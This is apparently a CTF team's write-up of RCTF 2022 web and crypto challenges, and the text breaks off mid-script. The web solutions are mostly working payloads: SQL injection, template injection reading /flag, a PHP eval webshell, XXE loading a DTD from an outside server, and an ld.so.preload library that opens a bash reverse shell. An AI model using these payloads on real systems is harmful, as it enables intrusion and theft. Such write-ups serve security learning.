RCTF WriteUp By Nu1L

Web

ezruoyi

```
admin/admin123

POST /tool/gen/createTable HTTP/1.1
Host: 140.210.213.129:8899
Content-Length: 112
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://140.210.213.129:8899
Referer: http://140.210.213.129:8899/tool/gen/createTable
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=9ee4f071-0a2a-493a-be42-d91eafed2a80
Connection: close

sql=CREATE TABLE zzzzzz AS SELECT/**/1 where 1=extractvalue(1, concat(0x5c,
(select/**/flag from flag limit 1)));
```

filechecker_mini

```
POST / HTTP/1.1
Host: 159.138.107.47:13001
Content-Length: 271
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://159.138.107.47:13001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVd84WzqTXyyd51y3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://159.138.107.47:13001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryVd84WzqTXyyd51y3
Content-Disposition: form-data; name="file-upload"; filename="test"
Content-Type: text/plain

#!/bin/{{request.__init__.__globals__['__builtins__'].open('/flag').read()}}
echo 123
------WebKitFormBoundaryVd84WzqTXyyd51y3--
```

```
HTTP/1.1 200 OK
Connection: close
Content-Length: 120
Content-Type: text/html; charset=utf-8
Date: Sat, 10 Dec 2022 01:55:07 GMT
Server: waitress

a /bin/RCTF{Just_A_5mall_Tr1ck_mini1i1i1__FI4g_YOu_gOtt777!!!} script, ASCII text executabl
```

filechecker_plus

直接把/bin/file覆盖即可

filechecker_pro_max

```
POST / HTTP/1.1
Host: 140.210.199.170:33003
Content-Length: 16483
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
```

```
Origin: http://140.210.199.170:33003
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeAFpUSrNdxDl3ygh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://140.210.199.170:33003/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryeAFpUSrNdxDl3ygh
Content-Disposition: form-data; name="file-upload"; filename="/etc/ld.so.preload"
Content-Type: application/octet-stream

•ELF...

/etc/ld.so.preload
------WebKitFormBoundaryeAFpUSrNdxDl3ygh--
```

条件竞争

```
POST / HTTP/1.1
Host: 140.210.199.170:33001
Content-Length: 226
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://159.138.110.192:23001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7zVyLduPekriMlgg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://159.138.110.192:23001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7zVyLduPekriMlgg
Content-Disposition: form-data; name="file-upload"; filename="/etc/ld.so.preload"
Content-Type: application/octet-stream

/tmp/poc.so
------WebKitFormBoundary7zVyLduPekriMlgg--
```

poc.so:

```
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
    system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");
}
char*  getenv(const char *__name) {
    unsetenv("LD_PRELOAD");
    payload();
}
```

PrettierOnline

```
/*/../app/.prettierrc
#*/const fs = require('fs'); var a = fs.readFileSync("flag", "utf-
8");fs.writeFileSync("./dist/ret.js",a);fs.chmodSync("./dist/ret.js",0o444);process.add
Listener('uncaughtException', (err) => {console.log("ss",err);process.exit(0);})
```

easy_upload

后缀为PHp即可

```
2f0    6c 69 63 61 74 69 6f 6e    2f 6f 63 74 65 74 2d 73    lication/octet-s
300    74 72 65 61 6d 0d 0a 0d    0a 50 48 70 ff 00 3c 3f    tream  PHpÿ<?
310    70 68 70 20 40 65 76 61    6c 28 24 5f 47 45 54 5b    php @eval($_GET[
320    27 6e 75 31 6c 36 36 36    27 5d 29 3b 0d 0a 2d 2d    'null666']); --
330    2d 2d 2d 2d 57 65 62 4b    69 74 46 6f 72 6d 42 6f    ----WebKitFormBo
340    75 6e 64 61 72 79 78 46    6f 70 36 74 30 4a 67 61    undaryxFop6t0Jga
```

ezbypass

```
POST /index;.ico?password HTTP/1.1
Host: 94.74.86.95:8899
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 157

password=${("a").replace(97,39)}=${("a").replace(97,39)}&poc=IURPQ1RZUEU=&type=string&y
ourclasses=DemoController,DemoController,DemoController,DemoController
```

使用下面命令生成poc，需要把文件头0xFEFF删掉

```
echo '<?xml version="1.0" encoding="UTF-16"?><!DOCTYPE cdl [<!ENTITY % asd SYSTEM
"http://101.35.219.93:8082/xxe.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>'| iconv -f UTF-8 -t UTF-16 >a.xml
```

```
POST /index;.ico?password HTTP/1.1
Host: 94.74.86.95:8899
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/103.0.5060.134 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1056

password=${("a").replace(97,39)}=${("a").replace(97,39)}&poc=base64_poc&type=string2&yo
urclasses=java.io.ByteArrayInputStream,[B,org.xml.sax.InputSource,java.io.InputStream
```

目标不出网，利用返回值回显文件内容

```
<?xml version="1.0" encoding="utf-16"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///flag">
]>
<root>&file;</root>
```

Crypto

guess

```
T = [877590220814339174527417078418946852848955938967,
830183576814932135347192934114314674064515577929,
128784687927597255823256462629328506321457238385 5,
100295036705602329786550772398785058099446510895 6,
859135658726734516764910466706830984709405371183,
734084209716353698667537100888064838084542121612,
170062937804116311113731343040139689596586284688,
112056898632848076525129191096630702031959780346 3,
775686420745208854340093045040059624854668030930,
100818750630812375765455236099873554570549448200 7,
204123216045318770399224306422782491313777664320,
134526291322612816415685097105171352729630956492 7,
506282792434643139449247535730143759381452502859,
882415768838570993554884759351708469445338843072,
685420389320886605114842658803485165649701081123,
586207111951666223603575410050027793856732790790,
101303329830418544638287270342124794378614364791 9,
122525533515246533491834257905867612159801695451 9,
244234027237355861610914437578823394224446678518,
118364494809374621846339939145068283636607636185 4,
905095642985694366550714746492893505997807498029,
396791592695072702602573544515641542576304985288,
392182368626847805127272884625719548635342424 24,
915321510756793794095897351190319169823824480871,
313152538104271940635631898045728709284791187156,
122112855557833434030653077515982879585315740308 6,
728339290469315108170654742303918928459795590358,
333906628203005926210377011680977214719815015328,
464434208915066081849686018072676050780826868350,
```

30176087422446365664066022900983015986278076097 6,
11408493660634625234845737483225776189098354890 80,
11631210759210125636577298691225973793333985411 21,
66677783373241282150963457522020416906741313956 0,
59310311403966659928880663148533919464360652648 8,
75845662338912678701302025899374606891950944341,
92942368849751042593969747549720180952756599924 0,
10163260463851130647771154477094915961189859620 83,
36150085036706737362131216276345700930932622500 0,
10025062145957994875849610546167100405174135644 83,
68363577764171986563403620910250241313460446833 4,
11680654825855028102389206594305424276348112048 55,
79788275699482901750260681043710538133537273762,
41296194351323085516902489404434902068182454710 8,
10504925560026137281741873114571413104666639513 96,
48651794537173684924491067903935092790725084695 4,
58521048513931616201759393093969716774581825365 7,
12977243264229137413812012241621038068067558765 57,
11542465649839982318577177748267230451788198658 02,
75908981566556980869608823384460363966630176482 8,
23051024298200188774148661465492016287701786437 5,
34300377925724940614635150227506046842037830392 4,
13314897539609774365803891045454367641571889931 81,
88245042666549206594092332867020710391292187788 3,
82282788869409394799944334527459060467641223813,
26199205720318868682414057439813378982464578847 2,
11663533011351721223740353480542337879723697133 5,
60310947327439205112486782548923606397725502201 7,
24768703018336346652610536512928535059342571573 2,
13083199047815057559565718053977510589670013939 82,
11259236180495777774494839124985876564799580777 75,
91429750831370827976688907086829993283744428240 1,
12316819276430246425681197376252523964994501243 25,
17194233905157988022336812585487184096383022445 3,
47621073501035826536258539757861356567120366724 2,
10705441476637996339736290755340819671218363155 56,
12750560774908752618535517001948748422810423595 5,
88403721052251504617507545154891594579778284115 4,
90114693915896969914552280906386569365192255905 0,
37595504381605995531241199363447344062109902483 4,
19788769414336795352536889149869924247574170067 5,
12999658679748719278173861101628153156621442771 84,
17348796388294760567126192721609204100991193863 5,
13078385103322401513129803795450845705202849408 23,
46829998365042879813480141104433060227039413110 4,
81215700642288167517522048334328444543763201806 4,
11299411601698647804546525441820713014894881904 83,
12103102824795508906636593910098201025630405982 22,
65718547975492016470292838479570909545194447473 5,

```
127993343666327514917802706377509192870887403642 9,
498776646872968395077490136052446903379603156554,
754731461187895328068306065056487104732807754217,
614157622315226339996258135328334835878449885062,
179582983402956366043479136139146677645471832423,
124755884817709514011401360493731400244199025471 8,
968667251176964654913499657595661981561510214 86,
124015079041580010576652920926399729238152992408 8,
467440701754452016232009817221995434946784399218,
605674879176131578471195774709000244022052234036,
225139212898955596242234313125440582976028754555,
443841158190222523553555181709624762403447237957]
U =
[246499600882168309364713378654556555330012831994676831366341357002963480851544115685847821005992,
233183911454620464941346223248893497610255080285311861024912587589345397806958579734719889276622,
361733453962487762372792870300307407135637524415780776677446897042201272548713436587001486381152,
281711052972451771242646100851869879461246510259301751842990539730562846329714900418471827565207,
241316040171078609227784352966050134654139825803476383931476897477784047961686232930574751809002,
206191295683620399592805239326035974743937167931888654868170664017950102666589941129553447045279,
477676770995289722268570755960037255603919205196253218112990017124454737703871352888371 67652156,
314748046798646822686716994853842387588406602709679520252567176968286132584582998592713739141714,
217876622355689189539172518704622665822959705360629608370230298018111344789627662258013281379 46,
283182072936882541214308644921500236506048279040929474523194638102798267494393948982867474327646,
573346079896672889478291071013280683841832598969509912169517766836802851444247346755813 82786527,
377860604330933541178088017570498366957504778626950021278008019095469756042907319510628309137970,
142205898959135347597865685545523002760092699066501016214099884347055841070025479442089440265777,
247855012136531552790346192237031053478306893092140125156807168495768870987245736890916991948674,
192522487599417826497430710440714855564596750151818061339532021172984682550448073675471726989602,
164655229403410029735483081512365969265205570923341323746977713168900321043231371742209172136099,
284543170365564935855203414311492341858692371076901666117400293590766095518485958474096539121250,
344152594149890517457329983886409056812183443191016161646173443947458788526252443806049122062181,
```

68601026775330678053936520350467148238401211614164049243643312387847647349357937327903674247901,
33246497097536480987370658085366725002507877836237938414747576717732597709344124857898590093935 5,
25422538841549244625456134425711905267467375550040579843739661879263583554667827183271560496186 3,
11145175380597995094612944852912490803934228278247239688272646313823250548013980095591487209040 9,
11015710413208130905526275573796034166832166904245033574829953775316686762522468346077351294132,
25709765415463301965623310607251805238068929985907054328066971698207086767349586761997350518596 2,
87959019855887365231733743632219194892083047864516092488869920483404479876580994996626247264253,
34299345461776578394595016885059647255702507746661104876094750924498240553690573513760424359866 3,
20457764928247745617741911946270680318672622092904644228933807448798697505077353640434589031359 9,
93788477391618942650398749181234279374190206134639916023979207804685847394542835892628417603198,
13045137060364882209593363425822037126597688800858354019995966923825534189787265432037315001112 3,
84759302569668177632346385565126350336936446767729500967281496439795896920345436567816632983996,
32044444745563342345705833528403798626288439983811478071958120170965162827031894511298961894199 8,
32670017759099802722379602335460354138392282043931755115222441861577579096534475902734101847110 7,
18728612283259277339559555897674118574221348946507269125000539697707717982196534384858888598628 5,
16659219465445549515325105905795457170061036198601672158295995317670702432057996558555946681947 4,
21303707643685039876621549366949531332461655779035911739160820735343338472568619381504200729999,
26105870693554300667371252703995510311483477293019116341496246030879586830113743081943680789971 0,
28546804517444899769267631911409675068683390724091653975938024208661740679111317926216511462707 9,
10153920727530350160258975340028581425878566139573116422069007513797411629528825596723740472817 2,
28158629838702076014563540388585411249751761891066095595491318811678327785505604517963429474372 8,
19202122168258017417004978351232891268332250096399350063633078636872288689189392321135045345075 2,
32808897413919227148001261233508944325864860316917114953113756530949504023669657722670712599107 1,
22411118137516040601359248995015649206843504637307034708217295299836524875372412827435963698669,
11599371989477926262484638511288668274919284245218771405533679282713699602649850601106 6

794441322,
29506481458288161818733457417979697280574980707985668315614574494259074080403830846737479828953 9,
13665430232901039648559830730982566637006699875401643600383157188053461586987931616052881598418 6,
16437529452532445137352668406606056160156709253732970606442021691646103837610912112787945036041 8,
36450785449898919544188413367096556707905166620185377496448263973474348223361787038344959122645 0,
32420748413098137804311690927160452120972507969452683039519667025576185221375296491035796204550 5,
21321492896952794403675403106784531349713849205133958228155683989363301795228977979717708532634 5,
64746258044659715488141966891784104739144093365319916746585297474544109420648120647975901725257,
96343706530288003120182656480059524693768948060102467041826755178292949165157924214128291651253,
37399196703163021712099548312353302084671131678108662330309086264484990558071714405306168821639 5,
24786474690829730948406462392792002641922645920436740752259608193315318877334906145018186958439 8,
23111782851181165888882758417264637555171759294272735782629906797729517148786542789720150172838,
73588943909331464928046693270368053339044036414239626408518290274221193294575721199506598771275,
32760805259502017098818013712565951205082191132538106127292791565410213679081855692053689336881,
16940280432072391988666967066125769620514817533121241203438668906714893590326382415734314301301 1,
69570914346828464954188886504229378524423252261872295585782755142388335225497188770988362833037,
36748396541563672587607549911205438650132255624461649831293098436081156672830983860154104764037 5,
31625206832351822318350582920056634806586446902424564202548253966891642849091676967121438240538 1,
25681002994513724736906927951600235312576347415465593616623778922005295411928976663371297069376 3,
34595771053152616553938425426510240507565080887682926868196677516507705356446476082239940464264 4,
48295567732776157910707819198590470679781191526663170422367280956303837601203775450788511740915,
13375918889220527070829382558638653682376086874425126566141198189825441194742862848258890755967 2,
30069695270874640882820897086846057450698004419358254751180527050624906514095186207287709098085 6,
35814074353772513835099220195174992960088601641443459206064297553248499055035211789825643408749,
24831044648215933546235955340595617192245816604710912979859218659778038612557731210697275750235 6,

```
25311626721723396935007184722972642496244697043211013433733192150177420097454672908393784627554 2,
10559913505451709055027197517929324031740932329715801246614660763159498480230860450813233634870 1,
55583159963392995857615177089215718189524681540772799236843838424794599627981838835523875807575 ,
36513746395088779733511505653835163636470742017471979456843016177659416963014801624965673730576 0,
48729706462913985614718251024767274855082166915735765201117592814558961479067470375236395728048 ,
36734875021291859197380322646925359355597451683256329114857671780714267762549453982695593426431 5,
13153719848409517347167326284488557127260335199764868685421503188939380936188623819744918309721 3,
22812056605545287824478872795639201286943055742712753960985750040450065232281796870113452771417 9,
31738052498323248025586279159234723501174938379059443333293758610851328459142929650850021052290 8,
33995479267983999774109805974987807323105723377824385059901260401852746026400158975859709879821 0,
18459179993462528361169417231361947352236786612781987296522229412092487925511986935927277486740 6,
35951070762898397158366064738455480661038788261235795885120851892167131543050011888059775391836 9,
14009755517722836984832972837253334138349552426216092788919673576207383151013620383684394422025 3,
21199074413500133668859910471690635078920930283420981060333623786753726739913932311193762101458 0,
17250603435276014865342513263246611210091934582357615203932766307287215471300778940355339124771 6,
50441689850396413752068455693286090796806580861694351841517215197588870446190417363865571983679 ,
35041725723346490932153286466048140548586083526148648124527542393085888764430891738792891024037 6,
27208153092360375057686877374784344736291899923674438971866021523859618783181009686162138329733 ,
34833646458313568816138008396123072605528204626895495866223140693549287951530416946426331661116 8,
13129584136846209012731244428880461749266234951833826444779140369476157087998212356841486738516 9,
17012338155128234419900364158010114597651513173479203114149107691522309211103903969951513437745 2,
63237630509397875785527006858458288621092708615317400021582827575122526676652029971107026361240 ,
12466714618520684881713547912497394710220132118046144676316602241637305353427329677675286272891 8]

A=Matrix(ZZ,2,91)
for i in range(90):
```

```
    A[0,i]=T[i]
    A[1,i]=-U[i]

A[1,90]=-2^158
print(2^158)
basis=A.LLL()
v=vector(basis[0])
print(A.solve_left(v))
```

IS_THIS_LCG?

```
def bytes_to_long(x):
    return int.from_bytes(x,'big')

a = bytes_to_long(b'Welcome to RCTF 2022')
b = bytes_to_long(b'IS_THIS_LCG?')
m = 2**1024
x0 = 0xc65f1c882be27b574c70f10e155ed3d3792d037d3c7
x1 = 0x142e1a26667e31a70eb58fa1e2b296d31a09675fa687
x2 = 0x17f366e283147917cc044778bbce2816884577126a9c
x3 = 0x2a316775dda35ad9a0e8a038757c85f216e91516f1ce
x4 = 0x3ef873ee8fa84fd071777521c78cb10a929f92f10dc7
x5 = 0x14e228828cb5090361501acac3108f05096fa8976e9c
x6 = 0x2e664838384824369607284ad9950f839f23a85c1974
x7 = 0x11affcbdf3da150c318bcc7096d21e8eb4bdaf904b9e
x = [x0, x1, x2, x3, x4, x5, x6, x7]
N =
0x614d9a106993a792c144715b0269a2726eb18a2e7b1ea7061bce1f6acb31af6289309d67ce6b28b3e8811
0c42785c0ca23833cc0e2aa4a30aadb16d25db7a74ef03b0898b7af47d56d4538b0f556b2779ed86e0600f8
21354d51f8551ccd23bbf8bf91eb9a9283a3d4d5248e3f404b4c6646a7dc805f29940a7e29d2f50343e1acc
0d0067606606b331a64881bbafeafeb8ca44e736b41eab4608097216f587a1a4f74518614b46e91505e07c3
a280b701ee88ca189e9903d601bc934584409d560027e5b34adb1f4949333ab5db34e95e49374e354d4ddc0
88855f1aae7a95e32ef195521b33f118169ae613e3fd5bf8d2942c2bde9ef506346698b0b5192c86b1efe24
cffb907652afd5f0cb3966c7470195122ced63f5c40a4d9a3b6704e0b186ab7b9e3296b1299b6fa133d2455
a8f8d8a9007a22bc61546b357ea314b0d369d72d22063c5ed6c14aa2a7edf31bdf93e63149818ef3724ca1c
ac367ac22b51260c793212ea221e062fcca68f28a4cd0b3bbeee03b9c73fd064c8298e775ab8a63c94db480
a1eba918d09cba975304eed4fa5e874fc964e328547c23790e97102c6ad0bca9810dabb6285906f13d41798
d3237333288b4498610d1a8fa79be85a522232a7cb904cd7c9b7fab995f39cd22a9758a5c2b6dcf44299df1
e3e2ac360339b341ca6beb31eccba39ebd6f98dee127c6b5298db152fa6920b9703ab
a0 = 1
b0 = 0
A = matrix(ZZ,10,10)

for i in range(8):
    a0,b0 = (a*a0)%m, (a*b0+b)%m
    A[0,i+2] = int(a0) << 174
    A[1,i+2] = int((b0 - (x[i] << 850)) % m) << 174
    A[i+2,i+2] = m << 174
```

```
A[0,0] = 1
A[1,1] = m
ans = A.LLL()
print(ans)
p1 = ans[1,0]%m
print(p1)
for i in range(8):
    p1 = (a*p1+b) % m
    print((p1 >> 850) == x[i])
p1 = (a*p1+b) % m
N =
0x614d9a106993a792c144715b0269a2726eb18a2e7b1ea7061bce1f6acb31af6289309d67ce6b28b3e8811
0c42785c0ca23833cc0e2aa4a30aadb16d25db7a74ef03b0898b7af47d56d4538b0f556b2779ed86e0600f8
21354d51f8551ccd23bbf8bf91eb9a9283a3d4d5248e3f404b4c6646a7dc805f29940a7e29d2f50343e1acc
0d0067606606b331a64881bbafeafeb8ca44e736b41eab4608097216f587a1a4f74518614b46e91505e07c3
a280b701ee88ca189e9903d601bc934584409d560027e5b34adb1f4949333ab5db34e95e49374e354d4ddc0
88855f1aae7a95e32ef195521b33f118169ae613e3fd5bf8d2942c2bde9ef506346698b0b5192c86b1efe24
cffb907652afd5f0cb3966c7470195122ced63f5c40a4d9a3b6704e0b186ab7b9e3296b1299b6fa133d2455
a8f8d8a9007a22bc61546b357ea314b0d369d72d22063c5ed6c14aa2a7edf31bdf93e63149818ef3724ca1c
ac367ac22b51260c793212ea221e062fcca68f28a4cd0b3bbeee03b9c73fd064c8298e775ab8a63c94db480
a1eba918d09cba975304eed4fa5e874fc964e328547c23790e97102c6ad0bca9810dabb6285906f13d41798
d3237333288b4498610d1a8fa79be85a522232a7cb904cd7c9b7fab995f39cd22a9758a5c2b6dcf44299df1
e3e2ac360339b341ca6beb31eccba39ebd6f98dee127c6b5298db152fa6920b9703ab
while N % p1:
    p1 += 1
print(p1,N%p1)
```

```
n = 8
m = 65537
X0 =
0xc54aad8bd2b3233576847209ad1ade5f535622aab2a6279464832dea3dc88e7898a58130e36273143a90f
cd4497079010e50658c2981e66e09ae86de089bf1f7123abb7d71fe68cf8d9eab3a2fc4792f1cb6444eff47
c0f666995096c43ef8149fa78c061ca62809a2eadb00ac0dff81fb4163335c0a8014082e95b5007a2e2c
X1 =
0x3a3944bb3fd77217ab57358b174dbef9f704b844fb09f0d05bd4cfafc5a758f3b4d60c5cb584b1bb37f0c
83bce8cba67bd04d11826433afba1717106da48a6cc22d571a0fa57fe63c29896783d6a9676f241cf4c9b10
81aee364334ed3f80d680ad4c52d8a9e026fdfc97c1cda397a1f37c368420176e3270299efa21fa4c614
X2 =
0x309838246999c3a8920a9e8911f0c643eb614a9c522fb2cd5776bf582d7ad79796558b839e8ffc393e479
aa0761d961df6860f9c44dea9b073a5006c2705128a7e7b139c407d15f430bd1a60d679d9f40deab664c845
53fa8b9c1e8aeeb42e75c5c305d8b86e09debc9e193617f9fd619a0053017f71810cc3a48bb1fe89878
X3 =
0x38acf9569013ea3a32b18aef48ed6d0ad6557afe3e929c757d541039faefab0eeb53c5341a4ae5b9df610
efcc66d09ae4238c569929d46409dd4f21d75a7bc97f3d8eed2dd397124d5a94946ccb8e8da8d030b4db4ac
8821c313bdc87c8c25576050503891ca629b232e4f1b5c9bac4809979fc4dfb8f07260b3cdd62b2f45a6
```

```
X4 =
0xda4663505a3ce430f75fe908c34f96dfc8e3a997dcd378205274b1855804d069044558eeb09f0e36feeb3
4edd82ffec268095eef4acc795cacf4921bb33dab678f0ee930e7718839962511c49f91dddb4389cd9db61b
a49baadd3a876952291d31b85b04ab2561a85542879d0e3287ad6f1c60b28daf05a56cab18955dd8d48a
X5 =
0x8e7250916637c65a685f5db8a3e5e84e223ebe59346f807048f16f5ee98ccf10679b3b1952e50ba327309
06794d40c1aebdeccd059b775bce13186907ea883230160254254ebc4006a452826eb75361f92e5ae9b30f8
7e8c8abed2a90117eccf1b4e6aac455b1fc6a0983141dfe1df81b912612649e3bb48560eca66af9c9b76
X6 =
0x7ba1fb51f424a6257d85599cb596aa3bb0e83c94fa14ca716e5d933a507ba8cd1b6addc171d260ade722e
01c7d69eaba0f5f3dfccccb2711b8407d0891e2179525577619f96735d55c98414f61042457059f93bb8613
c81dd656885b4dbd5554a792c1e8226e0207ab3bae04e63bf5ab68190dc4915709e2eb2c6e3ddbf0b89a
X7 =
0xcf3b0d393c7ef1753e602e0b088fc15d0c06f949631cc9083ef7ab16c65148b47aa63eabb6151e39d85a5
a339c065d9f1b4a33ab587f6093eb097fc6bab25a6b27cc8ae7d77775869b0864f6bdb7c1d8dcfa1a28dce4
df346d95eaf90047020f4f8ad7e9496ed86e7c1bd840724348d88a308ca21174c61cf759ba106c548458
X8 =
0xe8e2ba97f5bdb287984e2a61b5a489ea4dc45c2c8e3601f151a20b92d1d6b7c0800712d07e4de5d2ca6f9
cbfff25a64989e0779b98e56df1f4d8c301d3d743b86690d567c7f3a6bd74aa08b7df1970eb4b53ef2d5f8a
7c3be585462dc3a972f99cd99b4ee1738a719476ebe70ba5a89447e020566e2a98ebab5747be0758a312
X9 =
0xcb1cd415bb82a8036035396806a37e28f23a709a51301fea6b0195e3da1a5ff7f71c6bd89387b955ff9e0
d743f00e09286cf32520428791bac19368936f2e9bda4ffc4487a2bc999bb22249cffedc16dd686ac91d9a4
cfe459e114ce38858f2b4972b09fd3c463c5b40cd553e640afe5803a390766842d2b6a74152923f329db
_X = [X0, X1, X2, X3, X4, X5, X6, X7, X8, X9]
N =
0x614d9a106993a792c144715b0269a2726eb18a2e7b1ea7061bce1f6acb31af6289309d67ce6b28b3e8811
0c42785c0ca23833cc0e2aa4a30aadb16d25db7a74ef03b0898b7af47d56d4538b0f556b2779ed86e0600f8
21354d51f8551ccd23bbf8bf91eb9a9283a3d4d5248e3f404b4c6646a7dc805f29940a7e29d2f50343e1acc
0d0067606606b331a64881bbafeafeb8ca44e736b41eab4608097216f587a1a4f74518614b46e91505e07c3
a280b701ee88ca189e9903d601bc934584409d560027e5b34adb1f4949333ab5db34e95e49374e354d4ddc0
88855f1aae7a95e32ef195521b33f118169ae613e3fd5bf8d2942c2bde9ef506346698b0b5192c86b1efe24
cffb907652afd5f0cb3966c7470195122ced63f5c40a4d9a3b6704e0b186ab7b9e3296b1299b6fa133d2455
a8f8d8a9007a22bc61546b357ea314b0d369d72d22063c5ed6c14aa2a7edf31bdf93e63149818ef3724ca1c
ac367ac22b51260c793212ea221e062fcca68f28a4cd0b3bbeee03b9c73fd064c8298e775ab8a63c94db480
a1eba918d09cba975304eed4fa5e874fc964e328547c23790e97102c6ad0bca9810dabb6285906f13d41798
d3237333288b4498610d1a8fa79be85a522232a7cb904cd7c9b7fab995f39cd22a9758a5c2b6dcf44299df1
e3e2ac360339b341ca6beb31eccba39ebd6f98dee127c6b5298db152fa6920b9703ab
X = [matrix(GF(m), n, n) for i in range(10)]

for x in range(10):
    for i in range(8):
        for j in range(8):
            X[x][i,j] = _X[x] % m
            _X[x] //= m

dif1 = X[1]-X[0]
dif2 = X[2]-X[1]
print(dif1.rank())
```

```
A = dif2 * (dif1 ** (-1))
B = X[1]-A*X[0]
for i in range(9):
    print(X[i+1] == A * X[i] + B)
BinvA = ((A - A**0) ** (-1)) * B
_p3 = X[0] + BinvA
phi = pow(1337, 1337, A.multiplicative_order())
print(phi)
_p3 = A**phi * _p3 - BinvA
p3 = 0
for i in range(8):
    for j in range(8):
        p3 += int(_p3[i,j]) * m ** (i*8 + j)
N =
0x614d9a106993a792c144715b0269a2726eb18a2e7b1ea7061bce1f6acb31af6289309d67ce6b28b3e8811
0c42785c0ca23833cc0e2aa4a30aadb16d25db7a74ef03b0898b7af47d56d4538b0f556b2779ed86e0600f8
21354d51f8551ccd23bbf8bf91eb9a9283a3d4d5248e3f404b4c6646a7dc805f29940a7e29d2f50343e1acc
0d0067606606b331a64881bbafeafeb8ca44e736b41eab4608097216f587a1a4f74518614b46e91505e07c3
a280b701ee88ca189e9903d601bc934584409d560027e5b34adb1f4949333ab5db34e95e49374e354d4ddc0
88855f1aae7a95e32ef195521b33f118169ae613e3fd5bf8d2942c2bde9ef506346698b0b5192c86b1efe24
cffb907652afd5f0cb3966c7470195122ced63f5c40a4d9a3b6704e0b186ab7b9e3296b1299b6fa133d2455
a8f8d8a9007a22bc61546b357ea314b0d369d72d22063c5ed6c14aa2a7edf31bdf93e63149818ef3724ca1c
ac367ac22b51260c793212ea221e062fcca68f28a4cd0b3bbeee03b9c73fd064c8298e775ab8a63c94db480
a1eba918d09cba975304eed4fa5e874fc964e328547c23790e97102c6ad0bca9810dabb6285906f13d41798
d3237333288b4498610d1a8fa79be85a522232a7cb904cd7c9b7fab995f39cd22a9758a5c2b6dcf44299df1
e3e2ac360339b341ca6beb31eccba39ebd6f98dee127c6b5298db152fa6920b9703ab
while N % p3:
    p3 += 1
print(p3,N%p3)
```

```
x0 =
0x524456278d175edd6bcc3f2bbb8160a87dfe07092db7eedd1e4e3521e9cef7925e9c965a47ce9b7349456
938fbf6d1d92095cfe7cdc06c8dbeac5284982d027179d8d363b1d1a9b95c2bb1334e589ac3c013d8cff1c9
04d0c2aed1f281e997be89abe3d0d2d668dc53adc4ae9870474a23ff993598bf2b51679179c8a1568619
x1 =
0x2f340fb1c6761e084b1465c5078f36e9caf7f9d6deecb969cc84fb5b85b1e4070157094c835333349f3d3
17e6a78a31a27d1ff0f8dfb103ead7444f26ac7b8be6b8ec346a8c8b4fe6f983db2729b6490ce0e1ea115b6
2f5e2888911d278153e3377a7456705c4f1a56588d8f727a91a8a401a852dd26573b2dc2ccf6a4af1de2
x2 =
0x92b2bbdf0c336be756ac47cc0b98fbc76b9ac679db96a5afd8fe500d16f4997503ee33d0508a59fff1720
42d6dcc4994a2d8220adcd8f5e591458b9409468c51b92dcacf73e793af3f793b9becb9cbb0704834861a43
e1d1fd5cd5a9be14fafa8ec02df059fb3e1a3b0e7a8fb9969d42ffc13e2e3404fd539cd0d95b15f69f33
x3 =
0x795e49d6bc45ecf4d349d16058166f6422311344e3e6d8913a8b0a28225c92e203dfba92dd809a58a3630
bfbb4cdf6d3118f172f6d6cb7c35cd4f9cf70947d091659e2ec4e248eaf2c456d58a149dd1fff7667630504
cbb55cd82e3a2fe681f9b23de329d70a85f4badce87168dfb37b96b9edbeeb39a3d4ab28c130e9150140
```

```
x4 =
